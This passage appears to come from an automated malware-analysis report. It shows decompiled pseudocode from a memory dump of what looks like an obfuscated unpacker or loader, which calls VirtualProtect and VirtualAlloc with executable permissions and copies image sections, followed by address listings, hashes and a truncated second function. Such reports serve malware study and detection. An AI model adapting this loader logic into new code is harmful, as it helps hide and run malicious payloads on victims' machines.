							_t794 =  *((intOrPtr*)(_t824 + 0x41f064))(_v16, _v16);
							_v16 = _t969;
							 *((intOrPtr*)(_t824 + 0x41c254)) = _t794;
						}
						_pop( *_t352);
						_t969 = 0 + _v12;
						_t1140 = _t1141 - 0xfffffffc;
						_t908 =  *_t1141 - 1;
					} while (_t908 != 0);
					 *_t1140 =  *_t1140 & 0x00000000;
					 *_t1140 =  *_t1140 ^ _t969;
					 *_t1140 =  *_t1140 & 0x00000000;
					 *_t1140 =  *_t1140 ^ _t824 + 0x0041ccd3;
					_v20 = 0;
					 *_t1140 =  *_t1140 ^ _t824 + 0x0041c339;
					_t753 =  *((intOrPtr*)(_t824 + 0x41f068))(_v20, _t908, _t908);
					 *(_t824 + 0x41d2bf) =  *(_t824 + 0x41d2bf) & 0x00000000;
					 *(_t824 + 0x41d2bf) =  *(_t824 + 0x41d2bf) ^ _t969 ^  *_t1140 ^ _t753;
					_t975 =  *_t1140;
					_t1142 = _t1140 - 0xfffffffc;
					_v12 = _t753;
					_t756 = _v12;
					 *_t1142 =  *_t1142 ^ _t756;
					 *_t1142 =  *_t1142 ^ _t975;
					_v20 = _v20 & 0x00000000;
					 *_t1142 =  *_t1142 ^ _t824 + 0x0041c8b7;
					_push( *((intOrPtr*)(_t824 + 0x41f060))(_v20, _t756, _t969));
					_pop( *_t371);
					_push(_v16);
					_pop( *_t373);
					_pop( *_t374);
					_t977 = _t975 & 0x00000000 ^ _v16;
					 *(_t824 + 0x41c60a) = 0x40;
					 *_t1142 = _t977;
					_v16 = 0;
					 *_t1142 =  *_t1142 ^ _t824 + 0x0041c4cb;
					_t760 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v20);
					 *_t1142 = _t760;
					 *_t1142 = _t824 + 0x41c438;
					_t762 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v12);
					_pop( *_t386);
					 *_t1142 =  *_t1142 | _t824;
					_t830 = _t762;
					_t824 = 0;
					_v16 =  *((intOrPtr*)(_t824 + 0x41c166));
					_t916 =  *(_t824 + 0x41d118);
					_t1052 = _v16;
					if(_t916 > _t830 + _v20 + (_t908 & 0x00000000)) {
						_t391 = _t824 + 0x41c4cb; // 0x41c4cb
						 *_t1142 =  *_t1142 - _t916;
						 *_t1142 =  *_t1142 + _t391;
						_t392 = _t824 + 0x41c438; // 0x41c438
						 *_t1142 =  *_t1142 ^ _t977;
						 *_t1142 =  *_t1142 | _t392;
						_t791 =  *((intOrPtr*)(_t824 + 0x41f064))(_t977, _t916);
						_v20 = _t977;
						 *(_t824 + 0x41c583) =  *(_t824 + 0x41c583) & 0x00000000;
						 *(_t824 + 0x41c583) =  *(_t824 + 0x41c583) | _t977 - _v20 ^ _t791;
					}
					_t979 =  *_t1142;
					_t1143 = _t1142 - 0xfffffffc;
					_t401 = _t824 + 0x41c60a; // 0x41c60a
					 *_t1143 =  *_t1143 - _t979;
					 *_t1143 =  *_t1143 ^ _t401;
					 *_t1143 = _t979;
					_t403 = _t824 + 0x41cb46; // 0x41cb46
					 *_t1143 =  *_t1143 & 0x00000000;
					 *_t1143 =  *_t1143 + _t403;
					_t404 = _t824 + 0x41c91c; // 0x41c91c
					 *_t1143 = _t404;
					_t767 =  *((intOrPtr*)(_t824 + 0x41f068))(_v20, _t824, _v16, _t979);
					 *_t1143 = _t1081;
					 *(_t824 + 0x41cf40) = 0 ^ _t767;
					_t1097 = 0;
					_t981 =  *_t1143;
					_t1144 =  &(_t1143[1]);
					_pop( *_t408);
					 *_t1144 =  *_t1144 & 0x00000000;
					 *_t1144 =  *_t1144 + (0 ^ _v20);
					 *_t1144 = _t981;
					_t411 = _t824 + 0x41cc6e; // 0x41cc6e
					 *_t1144 = _t411;
					_t771 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v16, _t916);
					 *(_t824 + 0x41c082) =  *(_t824 + 0x41c082) & 0x00000000;
					 *(_t824 + 0x41c082) =  *(_t824 + 0x41c082) ^ _t981 & 0x00000000 ^ _t771;
					 *_t418 = _t981;
					_t986 = _v12;
					 *_t1144 = 2;
					_v12 = _v12 & 0x00000000;
					 *_t1144 =  *_t1144 ^ _t986;
					_t423 = _t824 + 0x41cfff; // 0x41cfff
					 *_t1144 =  *_t1144 & 0x00000000;
					 *_t1144 =  *_t1144 ^ _t423;
					_t773 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1112, _v12, _t824);
					 *_t1144 =  *_t1144 & 0x00000000;
					 *_t1144 =  *_t1144 + _t773;
					_t425 = _t824 + 0x41c3b9; // 0x41c3b9
					 *_t1144 =  *_t1144 - _t1112;
					 *_t1144 =  *_t1144 | _t425;
					_t775 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1112, _t986);
					_t1132 =  &(_t1144[1]);
					 *_t427 = _t775;
					_v20 = _v20 + (_t916 & 0x00000000 |  *_t1144);
					_push(_v20);
					_pop(_t776);
					_t1054 = _t1052;
					 *_t1132 = _t1054;
					_t879 =  *(_t824 + 0x41d0fa);
					_t1057 = 0;
					if(_t879 > _t776) {
						_t432 = _t824 + 0x41cfff; // 0x41cfff
						 *_t1132 =  *_t1132 - _t1112;
						 *_t1132 =  *_t1132 + _t432;
						_t433 = _t824 + 0x41c3b9; // 0x41c3b9
						 *_t1132 =  *_t1132 ^ _t1112;
						 *_t1132 =  *_t1132 + _t433;
						_t788 =  *((intOrPtr*)(_t824 + 0x41f064))(_t1112, _t1112);
						_v12 = _t1097;
						 *((intOrPtr*)(_t824 + 0x41d019)) = _t788;
						_t1097 = _v12;
					}
					_pop( *_t438);
					_t987 = _v12;
					 *_t1132 =  *_t1132 ^ _t824;
					 *_t1132 = _t987;
					_t440 = _t824 + 0x41c42d; // 0x41c42d
					 *_t1132 =  *_t1132 - _t1097;
					 *_t1132 =  *_t1132 + _t440;
					_t778 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1097, _t824);
					 *_t1132 = _t1057;
					 *((intOrPtr*)(_t824 + 0x41c664)) = _t778;
					_t1060 = 0;
					_v16 = _v16 & 0x00000000;
					 *_t1132 =  *_t1132 + _t1060;
					_t446 = _t824 + 0x41c4b9; // 0x41c4b9
					_v12 = 0;
					 *_t1132 =  *_t1132 + _t446;
					_t449 = _t824 + 0x41c298; // 0x41c298
					 *_t1132 =  *_t1132 ^ _t1097;
					 *_t1132 = _t449;
					_t781 =  *((intOrPtr*)(_t824 + 0x41f068))();
					_v16 = _t987;
					 *(_t824 + 0x41c405) = 0 ^ _t781;
					_t947 = _v16;
					VirtualProtect(_t1097, _v12, _v16, ??);
					_t455 = _t824 + 0x41c772; // 0x41c772
					_v20 = 0;
					 *_t1132 =  *_t1132 ^ _t455;
					_t458 = _t824 + 0x41cb5c; // 0x41cb5c
					 *_t1132 =  *_t1132 ^ _t824;
					 *_t1132 =  *_t1132 | _t458;
					_t785 =  *((intOrPtr*)(_t824 + 0x41f068))(_t824, _v20);
					_v12 = _t1060;
					 *(_t824 + 0x41c6c0) =  *(_t824 + 0x41c6c0) & 0x00000000;
					 *(_t824 + 0x41c6c0) =  *(_t824 + 0x41c6c0) | _t1060 - _v12 ^ _t785;
					_t1023 = _v12;
				}
				_pop( *_t467);
				_v16 = 0;
				 *_t1132 =  *_t1132 + _t824 + 0x41d305;
				 *_t1132 =  *_t1132 ^ _t879;
				 *_t1132 =  *_t1132 | _t824 + 0x0041cf53;
				_t701 =  *((intOrPtr*)(_t824 + 0x41f068))(_t879, _v16);
				_v16 = _t947;
				 *(_t824 + 0x41c775) = 0 ^ _t701;
				_t950 = _v16;
				_t1026 = (_t1023 & 0x00000000 | _v12) + 0xf8;
				_t827 = _t824;
				_v20 = 0;
				 *_t1132 =  *_t1132 ^ _t827 + 0x0041d2fb;
				_v16 = _v16 & 0x00000000;
				 *_t1132 =  *_t1132 + _t827 + 0x41c2ea;
				_push( *((intOrPtr*)(_t827 + 0x41f068))(_v16, _v20));
				_pop( *_t485);
				_push(_v12);
				_pop( *_t487);
				do {
					 *_t1132 = _t1026;
					 *_t1132 =  *_t1132 ^ _t879;
					 *_t1132 =  *_t1132 ^ _t827 + 0x0041c966;
					_t706 =  *((intOrPtr*)(_t827 + 0x41f060))(_t879, _v16);
					_v20 = _v20 & 0x00000000;
					 *_t1132 =  *_t1132 | _t706;
					 *_t1132 = _t827 + 0x41ca40;
					_t708 =  *((intOrPtr*)(_t827 + 0x41f060))(_v20, _v20);
					_t1133 = _t1132 - 0xfffffffc;
					 *_t497 = _t708;
					_v12 = _v12 + (_t879 & 0x00000000) +  *_t1132;
					_push(_v12);
					_pop(_t709);
					_t1028 = _t1026;
					_v16 = _t950;
					_t882 = 0 ^  *(_t827 + 0x41d332);
					_t953 = _v16;
					if(_t882 > _t709) {
						 *_t1133 =  *_t1133 ^ _t1112;
						 *_t1133 = _t827 + 0x41c966;
						 *_t1133 =  *_t1133 & 0x00000000;
						 *_t1133 =  *_t1133 | _t827 + 0x0041ca40;
						_t709 =  *((intOrPtr*)(_t827 + 0x41f064))(_t882, _t1112);
					}
					 *_t1133 = _t882;
					 *((intOrPtr*)(_t827 + 0x41c6bc)) = _t709;
					_v20 = _t1028;
					_t1031 = _v20;
					_v20 = _v20 & 0x00000000;
					 *_t1133 =  *_t1133 + _t827 + 0x41c5f7;
					_t711 =  *((intOrPtr*)(_t827 + 0x41f060))(_v20, 0);
					 *_t1133 = _t711;
					_v16 = _v16 & 0x00000000;
					 *_t1133 =  *_t1133 | _t827 + 0x0041c637;
					_t713 =  *((intOrPtr*)(_t827 + 0x41f060))(_v16, _v12);
					_t1134 =  &(_t1133[1]);
					_v20 = _a4;
					_push( *_t1133 + _t713);
					_t1085 = _v20;
					_pop(_t714);
					_push( *((intOrPtr*)(_t827 + 0x41cece)));
					_pop( *_t525);
					_push(_v20);
					_pop(_t888);
					if(_t888 > _t714) {
						 *_t1134 =  *_t1134 - _t888;
						 *_t1134 =  *_t1134 ^ _t827 + 0x0041c5f7;
						_v20 = _v20 & 0x00000000;
						 *_t1134 =  *_t1134 | _t827 + 0x0041c637;
						_t714 =  *((intOrPtr*)(_t827 + 0x41f064))(_v20, _t888);
					}
					_v12 = _t1085;
					 *(_t827 + 0x41c10a) =  *(_t827 + 0x41c10a) & 0x00000000;
					 *(_t827 + 0x41c10a) =  *(_t827 + 0x41c10a) | _t1085 ^ _v12 | _t714;
					 *_t1134 = _t1112;
					_t889 = 0 ^  *(_t1031 + 0x10);
					_t1112 = 0;
					 *_t1134 =  *_t1134 & 0x00000000;
					 *_t1134 =  *_t1134 ^ _t889;
					_v20 = 0;
					 *_t1134 =  *_t1134 ^ _t827 + 0x0041cee6;
					 *_t1134 =  *_t1134 ^ _t1112;
					 *_t1134 =  *_t1134 + _t827 + 0x41c9b9;
					_t717 =  *((intOrPtr*)(_t827 + 0x41f068))(_v20, _t714);
					_v20 = _t1031;
					 *(_t827 + 0x41cb03) =  *(_t827 + 0x41cb03) & 0x00000000;
					 *(_t827 + 0x41cb03) =  *(_t827 + 0x41cb03) ^ (_t1031 & 0x00000000 | _t717);
					_t1034 = _v20;
					 *_t552 = _t1112;
					_push(_v12);
					_pop( *_t555);
					_v16 = _v16 +  *((intOrPtr*)(_t1034 + 0x14));
					_push(_v16);
					_pop(_t1089);
					_t955 = _t953;
					_v16 = 0;
					 *_t1134 =  *_t1134 ^ _t889 & 0x00000000 ^ _v20;
					 *_t1134 =  *_t1134 & 0x00000000;
					 *_t1134 =  *_t1134 + _t827 + 0x41c452;
					_v12 = 0;
					 *_t1134 =  *_t1134 ^ _t827 + 0x0041c156;
					_t720 =  *((intOrPtr*)(_t827 + 0x41f068))(_v12, _t955, _v16);
					 *_t1134 = _t955;
					 *((intOrPtr*)(_t827 + 0x41c66c)) = _t720;
					_t958 = 0;
					_pop( *_t567);
					_t893 = _v16;
					_t1035 =  *(_t1034 + 0xc);
					 *_t1134 =  *_t1134 & 0x00000000;
					 *_t1134 =  *_t1134 + _t893;
					 *_t1134 =  *_t1134 - _t1112;
					 *_t1134 = _t827 + 0x41c5a4;
					_t722 =  *((intOrPtr*)(_t827 + 0x41f060))(_t1112, _t1089);
					 *_t1134 =  *_t1134 - _t1112;
					 *_t1134 =  *_t1134 ^ _t722;
					 *_t1134 =  *_t1134 ^ _t1035;
					 *_t1134 =  *_t1134 + _t827 + 0x41ce5b;
					_t724 =  *((intOrPtr*)(_t827 + 0x41f060))(_t1112);
					 *_t574 = _t1035;
					 *_t1134 =  *_t1134 + _t827;
					_t828 = _t724;
					_t827 = 0;
					_push( *((intOrPtr*)(_t827 + 0x41d348)));
					_pop( *_t577);
					_push(_v12);
					_pop(_t896);
					if(_t896 > _t828 + (_t893 & 0x00000000 ^ _v20)) {
						_t579 = _t827 + 0x41c5a4; // 0x41c5a4
						 *_t1134 =  *_t1134 ^ _t958;
						 *_t1134 =  *_t1134 | _t579;
						_t580 = _t827 + 0x41ce5b; // 0x41ce5b
						 *_t1134 =  *_t1134 - _t896;
						 *_t1134 =  *_t1134 | _t580;
						_t733 =  *((intOrPtr*)(_t827 + 0x41f064))(_t896, _t958);
						_v20 = _t1089;
						 *(_t827 + 0x41c50f) = 0 ^ _t733;
						_t1089 = _v20;
					}
					_v12 = _t958;
					_t1036 =  *(_t827 + 0x41c166) + _t1035;
					_t726 = memcpy(_t1036, _t1089, (_t896 & 0x00000000) +  *_t1134);
					_t1136 =  &(_t1134[4]);
					_t879 = 0;
					_t1132 = _t1136 - 0xfffffffc;
					_push(_v12);
					_t1026 =  *_t1136 + 0x28;
					_pop(_t950);
					_t588 =  &_v8;
					 *_t588 = _v8 - 1;
				} while ( *_t588 != 0);
				_pop( *_t590);
				_t1041 = _v16;
				_push(_t1112);
				 *_t594 = _t726 & 0x00000000 ^ _t1112 -  *_t1132 ^  *(_t1041 + 0x28);
				_v20 = _v20 +  *(_t827 + 0x41c166);
				_push(_v20);
				_pop(_t729);
				_t1043 = _t1041;
				 *_t1132 = _t950;
				 *((intOrPtr*)(_t827 + 0x41d140)) = _t729;
				_t966 = 0;
				_v12 = 0;
				_t1091 = _t1089 & 0x00000000 | 0 ^  *(_t827 + 0x41c166);
				_t901 = _v12;
				if(_t1091 > 0) {
					 *_t1132 =  *_t1132 & 0x00000000;
					 *_t1132 =  *_t1132 + _t1091;
					_t730 = E007D4E1A(_t827, _t901, _t966, _t1043, _t1091, _t827);
					 *_t1132 = _t1091;
					_t729 = E007D2FAF(_t730, _t827, _t901, _t966, _t1043, _t1091, _v12);
				}
				_pop( *_t603);
				return _t729;
			}

0x007d5f16
0x007d5f16
0x007d5f16
0x007d5f17
0x007d5f1b
0x007d5f1e
0x007d5f20
0x007d5f23
0x007d5f24
0x007d5f28
0x007d5f2b
0x007d5f2c
0x007d5f30
0x007d5f39
0x007d5f3a
0x007d5f3d
0x007d5f46
0x007d5f4a
0x007d5f4d
0x007d5f56
0x007d5f57
0x007d5f5a
0x007d5f5d
0x007d5f63
0x007d5f66
0x007d5f6e
0x007d5f71
0x007d5f72
0x007d5f75
0x007d5f78
0x007d5f7b
0x007d5f84
0x007d5f85
0x007d5f88
0x007d5f8b
0x007d5f91
0x007d5f94
0x007d5f9d
0x007d5f9e
0x007d5fa2
0x007d5fa5
0x007d5fab
0x007d5fb1
0x007d5fb5
0x007d5fb8
0x007d5fbb
0x007d5fbe
0x007d5fc0
0x007d5fcb
0x007d5fd2
0x007d5fda
0x007d5fdd
0x007d5fe6
0x007d5fe7
0x007d5fea
0x007d5ff3
0x007d5ff4
0x007d5ff7
0x007d5ffa
0x007d5ffa
0x007d6002
0x007d6005
0x007d6009
0x007d600d
0x007d6017
0x007d601b
0x007d6025
0x007d6029
0x007d602c
0x007d6032
0x007d6039
0x007d604b
0x007d6054
0x007d605e
0x007d6067
0x007d6068
0x007d606b
0x007d606e
0x007d6074
0x007d607b
0x007d607e
0x007d6088
0x007d608b
0x007d6094
0x007d6095
0x007d6098
0x007d609b
0x007d60a1
0x007d60a7
0x007d60ae
0x007d60b7
0x007d60be
0x007d60c1
0x007d60c8
0x007d60cb
0x007d60d4
0x007d60db
0x007d60de
0x007d60e4
0x007d60e7
0x007d60ee
0x007d60f1
0x007d60f4
0x007d60f7
0x007d60f8
0x007d6106
0x007d6108
0x007d610b
0x007d6114
0x007d6118
0x007d6124
0x007d6127
0x007d612d
0x007d6133
0x007d613a
0x007d6140
0x007d6147
0x007d614a
0x007d614f
0x007d6156
0x007d615c
0x007d615f
0x007d6162
0x007d616b
0x007d616e
0x007d6172
0x007d6176
0x007d617a
0x007d617e
0x007d6188
0x007d618c
0x007d6195
0x007d619c
0x007d619f
0x007d61ab
0x007d61b2
0x007d61be
0x007d61c1
0x007d61c8
0x007d61d1
0x007d61db
0x007d61de
0x007d61e5
0x007d61e8
0x007d61f1
0x007d61fb
0x007d61fe
0x007d6206
0x007d6209
0x007d6210
0x007d6213
0x007d6216
0x007d6219
0x007d621a
0x007d621b
0x007d6231
0x007d6239
0x007d6240
0x007d6249
0x007d6253
0x007d6256
0x007d6256
0x007d625e
0x007d6265
0x007d626b
0x007d626c
0x007d6276
0x007d6279
0x007d6283
0x007d628c
0x007d6296
0x007d6299
0x007d629f
0x007d62a9
0x007d62b5
0x007d62b8
0x007d62c3
0x007d62c6
0x007d62cd
0x007d62ce
0x007d62d1
0x007d62d2
0x007d62dd
0x007d62df
0x007d62e4
0x007d62ec
0x007d62f6
0x007d6300
0x007d6303
0x007d6306
0x007d630c
0x007d6314
0x007d631b
0x007d6321
0x007d6321
0x007d632a
0x007d632d
0x007d6335
0x007d6338
0x007d633b
0x007d633e
0x007d633f
0x007d6343
0x007d634d
0x007d6351
0x007d635d
0x007d6360
0x007d6368
0x007d636f
0x007d6375
0x007d637c
0x007d637f
0x007d6385
0x007d6389
0x007d638c
0x007d6396
0x007d6399
0x007d63a2
0x007d63a9
0x007d63ac
0x007d63b4
0x007d63bb
0x007d63c1
0x007d63c7
0x007d63ca
0x007d63d1
0x007d63d3
0x007d63dc
0x007d63e6
0x007d63e9
0x007d63f0
0x007d63f3
0x007d63fd
0x007d6400
0x007d6403
0x007d6412
0x007d6417
0x007d641b
0x007d641e
0x007d6420
0x007d6421
0x007d642c
0x007d642e
0x007d6433
0x007d643c
0x007d643f
0x007d6448
0x007d6452
0x007d6455
0x007d6455
0x007d6461
0x007d6468
0x007d646e
0x007d6474
0x007d6477
0x007d6483
0x007d6486
0x007d648c
0x007d6494
0x007d649b
0x007d64a1
0x007d64a6
0x007d64b2
0x007d64b6
0x007d64b9
0x007d64c1
0x007d64c5
0x007d64c8
0x007d64d4
0x007d64db
0x007d64e1
0x007d64e3
0x007d64e6
0x007d64f2
0x007d64f5
0x007d64fe
0x007d650a
0x007d650d
0x007d6515
0x007d6518
0x007d651f
0x007d6522
0x007d6525
0x007d6528
0x007d6529
0x007d6537
0x007d6539
0x007d653c
0x007d653e
0x007d6544
0x007d654e
0x007d6551
0x007d6558
0x007d655c
0x007d655f
0x007d655f
0x007d6567
0x007d656e
0x007d6574
0x007d6575
0x007d6586
0x007d6590
0x007d6593
0x007d659a
0x007d659e
0x007d65a1
0x007d65a9
0x007d65b0
0x007d65b6
0x007d65b7
0x007d65ca
0x007d65cc
0x007d65ce
0x007d65d2
0x007d65d5
0x007d65db
0x007d65e5
0x007d65e8
0x007d65ee
0x007d65f6
0x007d65fd
0x007d6603
0x007d660b
0x007d6610
0x007d6618
0x007d661b
0x007d6622
0x007d6625
0x007d662b
0x007d6632
0x007d6635
0x007d663c
0x007d6640
0x007d6643
0x007d664a
0x007d664e
0x007d6651
0x007d6659
0x007d665f
0x007d6666
0x007d6667
0x007d666a
0x007d666b
0x007d6671
0x007d6674
0x007d6677
0x007d667a
0x007d6685
0x007d668f
0x007d6693
0x007d6696
0x007d669d
0x007d66a0
0x007d66a3
0x007d66a3
0x007d66a9
0x007d66ac
0x007d66af
0x007d66c2
0x007d66c6
0x007d66c9
0x007d66d2
0x007d66dc
0x007d66e8
0x007d66eb
0x007d66f1
0x007d66f8
0x007d66fe
0x007d6703
0x007d6706
0x007d670b
0x007d670e
0x007d6713
0x007d671a
0x007d671d
0x007d6720
0x007d6727
0x007d6730
0x007d673a
0x007d673d
0x007d6743
0x007d674d
0x007d6757
0x007d675b
0x007d675e
0x007d676d
0x007d6774
0x007d6777
0x007d677a
0x007d677d
0x007d677e
0x007d677f
0x007d6781
0x007d678c
0x007d6791
0x007d679a
0x007d679d
0x007d67a7
0x007d67ab
0x007d67ae
0x007d67b4
0x007d67b6
0x007d67bd
0x007d67c3
0x007d67c4
0x007d67c7
0x007d67cc
0x007d67cf
0x007d67d2
0x007d67d2
0x007d67d3
0x007d67dd
0x007d67e0
0x007d67e7
0x007d67f1
0x007d67f4
0x007d67f7
0x007d67fe
0x007d6801
0x007d680b
0x007d680f
0x007d6812
0x007d681d
0x007d6824
0x007d6827
0x007d682a
0x007d682d
0x007d682e
0x007d682f
0x007d6841
0x007d684c
0x007d6858
0x007d685b
0x007d6861
0x007d6868
0x007d686e
0x007d6873
0x007d6876
0x007d687e
0x007d6881
0x007d6881
0x007d6889
0x007d688d
0x007d6897
0x007d689b
0x007d68a4
0x007d68ae
0x007d68b1
0x007d68bd
0x007d68c4
0x007d68cd
0x007d68d0
0x007d68d3
0x007d68e0
0x007d68e4
0x007d68e7
0x007d68f0
0x007d68f7
0x007d6900
0x007d6901
0x007d6904
0x007d6907
0x007d6913
0x007d6916
0x007d6919
0x007d6926
0x007d692f
0x007d6939
0x007d693c
0x007d6945
0x007d6951
0x007d6954
0x007d6960
0x007d6968
0x007d696c
0x007d6971
0x007d6972
0x007d697d
0x007d697f
0x007d6984
0x007d6986
0x007d698d
0x007d6990
0x007d6993
0x007d699a
0x007d699d
0x007d69a0
0x007d69a6
0x007d69ae
0x007d69b5
0x007d69bb
0x007d69c0
0x007d69c3
0x007d69c6
0x007d69cd
0x007d69d0
0x007d69d6
0x007d69d9
0x007d69e0
0x007d69e4
0x007d69e7
0x007d69f0
0x007d69f3
0x007d69fb
0x007d6a02
0x007d6a08
0x007d6a0b
0x007d6a0e
0x007d6a13
0x007d6a1a
0x007d6a1e
0x007d6a24
0x007d6a27
0x007d6a30
0x007d6a33
0x007d6a3f
0x007d6a46
0x007d6a4f
0x007d6a52
0x007d6a56
0x007d6a5d
0x007d6a64
0x007d6a67
0x007d6a6e
0x007d6a72
0x007d6a75
0x007d6a7c
0x007d6a80
0x007d6a83
0x007d6a8a
0x007d6a8d
0x007d6a90
0x007d6a9f
0x007d6aa6
0x007d6aa9
0x007d6aac
0x007d6aaf
0x007d6ab0
0x007d6ab3
0x007d6abe
0x007d6ac0
0x007d6ac3
0x007d6ac5
0x007d6acc
0x007d6acf
0x007d6ad2
0x007d6ad9
0x007d6adc
0x007d6adf
0x007d6ae5
0x007d6aec
0x007d6af2
0x007d6af2
0x007d6af5
0x007d6af8
0x007d6afc
0x007d6aff
0x007d6b02
0x007d6b09
0x007d6b0c
0x007d6b0f
0x007d6b17
0x007d6b1e
0x007d6b24
0x007d6b25
0x007d6b2c
0x007d6b2f
0x007d6b35
0x007d6b3f
0x007d6b42
0x007d6b49
0x007d6b4c
0x007d6b4f
0x007d6b55
0x007d6b5c
0x007d6b62
0x007d6b65
0x007d6b6b
0x007d6b71
0x007d6b7b
0x007d6b7e
0x007d6b85
0x007d6b88
0x007d6b8b
0x007d6b91
0x007d6b99
0x007d6ba0
0x007d6ba6
0x007d6ba6
0x007d6baf
0x007d6bbb
0x007d6bc5
0x007d6bcf
0x007d6bd2
0x007d6bd5
0x007d6bdb
0x007d6be2
0x007d6be8
0x007d6bf4
0x007d6bf6
0x007d6bfd
0x007d6c07
0x007d6c10
0x007d6c17
0x007d6c20
0x007d6c21
0x007d6c24
0x007d6c27
0x007d6c2d
0x007d6c30
0x007d6c3a
0x007d6c3d
0x007d6c40
0x007d6c46
0x007d6c4d
0x007d6c59
0x007d6c5c
0x007d6c6b
0x007d6c72
0x007d6c75
0x007d6c78
0x007d6c7b
0x007d6c7c
0x007d6c7d
0x007d6c88
0x007d6c8a
0x007d6c8f
0x007d6c98
0x007d6c9b
0x007d6ca5
0x007d6ca9
0x007d6cac
0x007d6cac
0x007d6cb4
0x007d6cbb
0x007d6cc2
0x007d6ccc
0x007d6cd5
0x007d6cdc
0x007d6cdf
0x007d6ce8
0x007d6cf1
0x007d6cf8
0x007d6cfb
0x007d6d06
0x007d6d09
0x007d6d10
0x007d6d11
0x007d6d14
0x007d6d15
0x007d6d1b
0x007d6d1e
0x007d6d21
0x007d6d24
0x007d6d2d
0x007d6d30
0x007d6d39
0x007d6d40
0x007d6d43
0x007d6d43
0x007d6d49
0x007d6d51
0x007d6d58
0x007d6d63
0x007d6d6b
0x007d6d6d
0x007d6d6f
0x007d6d73
0x007d6d7c
0x007d6d86
0x007d6d90
0x007d6d93
0x007d6d96
0x007d6d9c
0x007d6da4
0x007d6dab
0x007d6db1
0x007d6dba
0x007d6dc4
0x007d6dc5
0x007d6dc8
0x007d6dcb
0x007d6dce
0x007d6dcf
0x007d6dd0
0x007d6dda
0x007d6de4
0x007d6de8
0x007d6df1
0x007d6dfb
0x007d6dfe
0x007d6e06
0x007d6e0d
0x007d6e13
0x007d6e16
0x007d6e19
0x007d6e1c
0x007d6e20
0x007d6e24
0x007d6e2e
0x007d6e31
0x007d6e34
0x007d6e3b
0x007d6e3e
0x007d6e48
0x007d6e4b
0x007d6e4e
0x007d6e5a
0x007d6e62
0x007d6e66
0x007d6e6b
0x007d6e6c
0x007d6e72
0x007d6e75
0x007d6e78
0x007d6e7b
0x007d6e7d
0x007d6e84
0x007d6e87
0x007d6e8a
0x007d6e91
0x007d6e94
0x007d6e97
0x007d6e9d
0x007d6ea4
0x007d6eaa
0x007d6eaa
0x007d6eb9
0x007d6ec8
0x007d6ec9
0x007d6ec9
0x007d6ec9
0x007d6ed4
0x007d6ed7
0x007d6ee0
0x007d6ee2
0x007d6ee3
0x007d6ee3
0x007d6ee3
0x007d6eec
0x007d6eef
0x007d6ef2
0x007d6f07
0x007d6f0a
0x007d6f0d
0x007d6f10
0x007d6f11
0x007d6f14
0x007d6f1b
0x007d6f21
0x007d6f22
0x007d6f31
0x007d6f33
0x007d6f39
0x007d6f3c
0x007d6f40
0x007d6f43
0x007d6f4b
0x007d6f4e
0x007d6f4e
0x007d6f61
0x007d6f68

APIs

VirtualProtect.KERNELBASE ref: 007D6B65

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8a008023e028c667d7368bc90691588549f831ea45597d08e0b089263ec99f3d
Instruction ID: 40c6da30b7ed94e36b81df8cc93d37911964d89ac154e29c47559429ac9cff70
Opcode Fuzzy Hash: 8a008023e028c667d7368bc90691588549f831ea45597d08e0b089263ec99f3d
Instruction Fuzzy Hash: 96C22572844608EFEB049FA0C8C57EEBBF5FF48320F0589AED899AA145D7345264CF59

Uniqueness

Uniqueness Score: -1.00%

Function 007D709D, Relevance: 3.1, APIs: 2, Instructions: 115
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E007D709D(signed int __ebx, long __ecx, void* __edx, void* __edi, long __esi, void* __eflags) {
				void* _t47;
				signed int _t48;
				signed int _t49;
				void* _t51;
				void* _t52;
				void* _t54;
				void* _t55;
				signed int _t59;
				long _t60;
				void* _t62;
				void* _t65;
				void* _t67;
				signed int _t68;
				void* _t72;
				signed int _t75;
				signed int _t78;
				void* _t81;
				signed int _t82;
				long _t87;
				signed int _t89;
				long _t94;
				void* _t97;
				void* _t99;
				long _t101;
				void* _t102;

				_t87 = __esi;
				_t79 = __edi;
				_t72 = __edx;
				_t59 = __ebx;
				 *_t101 = 0xffff0000;
				_t48 = E007D2D42(_t47, __ebx, __ecx, __edx, __edi, __esi, __edi);
				 *_t101 =  *_t101 | _t59;
				_t60 = _t59;
				if( *_t101 != 0) {
					 *_t101 =  *_t101 + 4;
					 *_t101 =  *_t101 - _t94;
					 *_t101 =  *_t101 + 0x1000;
					 *_t101 =  *_t101 - _t60;
					 *_t101 =  *((intOrPtr*)(_t60 + 0x41c22f));
					_t48 = VirtualAlloc(0, __ecx, _t60, _t94);
				}
				 *(_t94 - 8) = 0;
				_push( *(_t94 - 8));
				 *_t101 =  *_t101 ^ _t48;
				_pop( *_t6);
				 *(_t60 + 0x41c60a) = 2;
				 *_t101 = _t94;
				 *(_t60 + 0x41d10e) = _t48;
				_t97 = 0;
				if( *(_t60 + 0x41c166) > 0) {
					_t55 = _t60 + 0x41c60a;
					 *(_t97 - 4) =  *(_t97 - 4) & 0x00000000;
					 *_t101 = _t55 +  *_t101;
					 *_t101 = 0x40;
					_t87 =  *_t101;
					 *_t101 =  *((intOrPtr*)(_t60 + 0x41c627));
					 *_t101 =  *(_t60 + 0x41c166);
					VirtualProtect(_t55, _t87, _t101,  *(_t97 - 4));
				}
				_push(_t72);
				 *((intOrPtr*)(_t101 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
				_t89 = _t87;
				_push(_t72);
				 *((intOrPtr*)(_t101 + 4)) =  *((intOrPtr*)(_t60 + 0x41ceca));
				_t99 = _t97;
				_t49 = E007D746C(_t60, _t72, _t79, _t89);
				_push( *((intOrPtr*)(_t60 + 0x41c627)));
				_pop( *_t24);
				_push( *(_t99 - 8));
				_pop(_t62);
				 *_t101 = _t62;
				_t65 = 0;
				_t67 = 0 ^  *(_t60 + 0x41c166) | 0 ^  *(_t60 + 0x41c166);
				_t81 = _t67;
				_t68 = _t65;
				if(_t67 != 0) {
					 *(_t99 - 8) = 0;
					 *_t101 =  *_t101 ^ _t81;
